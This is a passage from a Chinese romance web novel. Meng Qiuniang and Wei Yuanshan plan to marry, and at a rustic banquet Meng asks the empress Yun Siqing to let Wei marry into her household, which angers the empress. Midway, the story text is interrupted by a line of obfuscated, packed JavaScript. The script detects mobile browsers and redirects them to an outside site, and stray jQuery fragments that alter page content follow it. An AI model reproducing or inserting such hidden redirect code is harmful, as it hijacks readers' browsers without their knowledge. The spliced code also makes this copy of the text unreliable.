魏远山被她这过于炙热的目光盯着,耳垂不禁染上红晕,有些羞怯地移开了目光。
“远山,宴饮时你可得好好表现,这样陛下说不定会将你留在京中,你我也就不用再受离别之苦了。”
“这是自然。”,魏远山抓起孟秋娘的手,他怎可能再与她分开,好不容易能与她再度亲近,只盼能朝夕相守。
“不过这事也强求不得,若陛下有别的地方需要用到你的,我也会想办法让你我不必再分开,大不了你去哪我就将天衣坊开到哪。”
“真的!秋娘你真好。”
魏远山得到这句话也是彻底放下心来,秋娘能为他做到这个地步,她必定是爱极了他的,他也得做些什么让秋娘开心才是。
生意上他是没什么能帮到她的了,就只能在生活上尽量让她不必烦忧。
不知是想到了什么,魏远山的脸有些红,俯身在孟秋娘的耳边说了句,“秋娘,我现在可是已到18岁了,如今总可以了吧。”
“不留到洞房花烛夜吗?”
“也好。”
魏远山深深望着孟秋娘,恨不能明日便是她们的大婚之日,与她做对恩爱夫妻,共白头。
当夜,魏远山便搬进了孟府,狄牧英在得知这一消息时便知自己的算盘要落空了。
“可惜啊,孟娘子她竟这么快就又跟这魏远山在一块了,我还想同她攀点亲戚关系呢。”
狄牧英感慨着落下一子,在她对面坐着的秦苏华对此却一点也不惊讶,“我可早就劝过你了,那魏远山怎可能会放手,还有那魏月娥就更不可能了。”
她们魏家个个可都紧盯着孟娘子呢,哪还有旁人插足的份。
“行吧,只是我找的可都是顶好的,难不成要浪费了不成。”,说着说着狄牧英的目光就落到了秦苏华的身上,“要不你见见?”
“我可不见!”,秦苏华连连摆手,“你还是自个留着吧。”
狄牧英见状也没心思下棋了,紧盯着她问道:“苏华姐姐,难不成你已有心仪之人了?”
秦苏华的眼神一阵飘忽,“还不确定呢,我还不知对方的心意如何。”
“好啊,不过才一年的功夫,苏华姐姐这心底就有了旁人吗?”,狄牧英洋装伤心抹泪,等着她来哄自己。
秦苏华果然上套,当即便握着她的手安慰道:“你我是一同长大的姐妹,这情谊哪是旁人能比的了的,即便日后我娶亲了,能与我并肩而战的也只有你。”
“哼,好吧好吧,今日我便姑且信了你。”
狄牧英自是信她说的话的,刚刚那一番也只是想着以玩闹的方式将事情都说开来,姐妹间可不能因这点事产生隔阂。
秦苏华经她这么一闹,索性便将自己这些日子以来身边所发生的事都说于她听,两人的关系也更亲近了些。
三日后,云姒卿亲临天衣坊,不过就只有些亲近的人知道此事,宴请的也都是些像狄牧英这这样跟在她身边的旧臣。
“陛下,这是民女为您绣制的袍服,不知陛下可喜欢。”
孟秋娘在得知云姒卿要来到她天衣坊设宴后,便开始为其准备着,尤其是陛下要穿着的,更是由她亲手绣制而成,并已先呈给狄牧英看过了,以免不符合规制。
云姒卿拿起看了眼后便点了点头,“很好,你之前呈上来的那幅母神像我也很喜欢。”
“谢陛下夸赞。”
“好了,今日不过是寻常宴会,不必如此多礼。”
云姒卿抬手将孟秋娘给扶起,她不是很喜欢别人时不时对她跪啊跪的。
“今日你们便唤我云娘子就是,也让我能在这好好放松放松。”
“是,陛……云娘子这边请。”
孟秋娘也不一直纠结着,她怎么说自己怎么做便是,当即便在前为众人引路,先是到了一处摆放了各式衣服的屋子里。
“各位先在这挑选喜欢的衣服,之后我再带各位去宴席。”
那些已来过天衣坊的很是熟练地挑选了自己爱穿的,其余的虽还不清楚状况但也跟着有样学样地挑选了件。
一个个褪去了锦衣华服,只穿着最普通的衣服装扮成农夫农妇的模样。
有个初次来此的实在不解,便踱步到了对这应该最清楚不过的狄牧英的面前问道:“狄大人可知这是要做什么吗?”
“忆苦思甜,回忆往昔,你也可当作在这彼此都是同等的,没有上下级,也不必再顾及其他,你我就只是这世间再普通不过的人。”
说到最后,狄牧英着重强调了‘人’这个字。
在得知孟秋娘要弄这么个东西时,狄牧英一开始也是有些不解的,可等到她参与了几次后便开始痴迷起这样的感觉了,仿佛回到了当初她跟随着陛下去到新谭县救灾的时候。
那时她们就只当自己是寻常女子,尽力去搭救见到的每一个人,什么脏啊苦啊累啊的,都没有人命重要。
处在高位久了的人,也确实该偶尔下来看看,看看底下的民众们,她们不只是奏折里的一串数字,而是跟你我一样会哭会笑、有血有肉的人。
换好衣服后,孟秋娘便带着她们推开了一道门,门外像是一处农庄,地上都是些小鸡小鸭,在四处奔跑啄食着什么。
“孟娘子,这是?”,一人不解的问道。
“哎哟,你们可来啦,快来搭把手。”
不等孟秋娘回答,身旁的屋门突然开了,一只布满老茧的手伸出抓住了他的臂膀,直将他往前拽去。
其余人见此也都跟了上去,只不过以防发生意外,云姒卿被团团围在了中间。
没走一会,便听闻动物的嘶吼声,一头猪横冲直撞地朝众人奔来。
“快!快抓住它!”,一提着刀的屠妇大喊道。
狄牧英与秦苏华站在队伍最前面,很快便控住了局面,将那头猪给一把摁倒在地。
“这是要做什么。”,狄牧英看着那屠妇问道。
“当然是杀猪做菜啦,也就你们来,要不然非得等到过年的时候才可能杀头猪尝尝味。”
说着,屠妇拽住了那双肥大的猪耳朵,让她们帮着把猪给摁到案板上,手起刀落,滚烫红艳的猪血喷射到了底下放着的木盆里,一旁站着的村民则快速搅动盆里的血,防止其凝固。
那些个读书人哪见过这情形,脸上青一阵白一阵的,但看云姒卿都没开口说什么,也只能将怨气都憋回肚子里。
血放干净后,滚水浇烫猪身,屠妇手舞刮刀飞快将猪毛刮净,再利索地将其刨开,卸下各个零部件。
“可有哪个会做菜的,这么多就靠我们几个可忙不过来。”
屠妇边说着边将手中的刀擦净,别回了腰间,抬眼看向众人时个个避开目光,甚至有几个嫌恶地捂着鼻子别过脸去。
“我来吧,我会一些。”
魏远山从人群中走了出来,挽起袖子,熟练地在案板上挑拣肉块,最后拎起几个跟着农妇们去到一旁的灶台边,切肉、去腥,大火翻炒。
“我会洗菜,需要吗?”,魏月娥也从一旁探出脑袋来,这么僵持在这不是砸嫂嫂场子嘛,她可得入戏点,让气氛活跃起来。
“我也会些,一起吧。”,云姒卿一直默默在旁观察着,开了口,跟着挽袖蹲在了个木盆旁。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262829|188858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其余人见陛下都要亲自动手,哪里还敢在旁傻站着,连忙捡了些能干的。
只是毕竟个个十指不沾阳春水的,突然来这么一遭,难免嫌弃怨怼,最后都暗暗往孟秋娘那看去,想着等结束后要如何查出她的错处来,好让这天衣坊关门大吉!
这样好的生意,没有哪个不眼红的,只是她毕竟背靠新贵,一时动她不得,现在总算是有了个理由,可得利用好狠狠踩她几脚才是。
在一些人的添乱下,这顿宴席总算是做了出来,也没讲究什么座位的,一行人就在一张长桌上同刚刚那些跟她们一起劳动的百姓们一起用餐。
“孟娘子,你这宴席可真是朴实的很啊。”
一人终是没忍住停下筷子,刺了孟秋娘一句。
“我倒是觉得这样挺好的,若不是如此,想必各位也吃不上云娘子亲手洗过的菜吧。”
狄牧英在旁不咸不淡地帮孟秋娘给顶了回去,她可知晓这些人什么心思,怎可能让他们如愿。
那人见她将话扯到了云姒卿身上,哪敢再说话,脸一下憋的通红。
“这位郎君的手艺真是不错啊,瞧着挺年轻的,可有娶妻?”
屠妇很是没眼色地越过刚刚那人,夹了几筷子肉,又将话引到了魏远山身上。
“还未,不过我已许了人家了。”,说着魏远山朝孟秋娘那看了眼,几个知情的也纷纷将目光投了过去。
这是要说了吗?狄牧英饶有兴致地看着孟秋娘,又转到魏远山的身上,碗里的饭菜似乎更香了。
“哪家小姐这么好的福气,也真是有口福了。”
“孟娘子。”,魏远山有些犹豫,这场合下也不知合不合适。
“原来是要同主家结亲啊,那还真是恭喜了。”
这话说完,屠妇便再未言语,默默吃完饭后便带着其余人退下了。
“孟娘子,怎么有喜事了也没跟我提一句的,我也好早些备礼才是。”,狄牧英在旁打趣道。
孟秋娘却是放下筷子,对着云姒卿跪倒在地,“民女请陛下能为民女做主。”
魏远山见状连忙赶至她身旁,陪着她一同跪下。
“这是做什么。”
云姒卿微微蹙眉,她可真是好大的胆子,竟敢把主意打到她身上来了,刚刚那些都是她请来就为了演这一出的吧。
“民女与魏大人两情相悦,恳请陛下能成全我们。”
“男女婚嫁自古是父母之命、媒妁之言,你们既相爱按流程走就是,来求我做什么。”
“不,民女是想让魏大人入赘我孟府。”
“入赘?孟秋娘,我原以为你是个聪明的,怎么也为情所困。”
云姒卿有些失望地摇摇头,也没了游玩的心思,朝狄牧英撇了眼。
狄牧英在送走众人后,才又回到天衣坊将二人扶起。
“孟秋娘,你怎么如此糊涂,哪有人求陛下将官员赐给自己的。”
若陛下真答应了岂不是要乱套了,谁还敢在她面前冒头的,生怕她一时高兴便要指婚,随随便便的就被嫁出去了,多可怕啊。
简直荒谬!
“还有你魏远山!你这是不想为朝廷效力为百姓分忧了?原陛下是要将你调回京师,现在只怕是要让你再去下面历练一番了。”
“这都怪我,我愿领罚,还请狄大人能为秋娘说几句好话,莫要让陛下因此怪罪她。”
魏远山抓住孟秋娘的手,也明白过来这次确实是太过心急了些,竟没想到这层。
孟秋娘一直在旁垂着头,脸隐在暗处,无人知晓她此时在想什么,只不过她的手紧握着,似有不忿。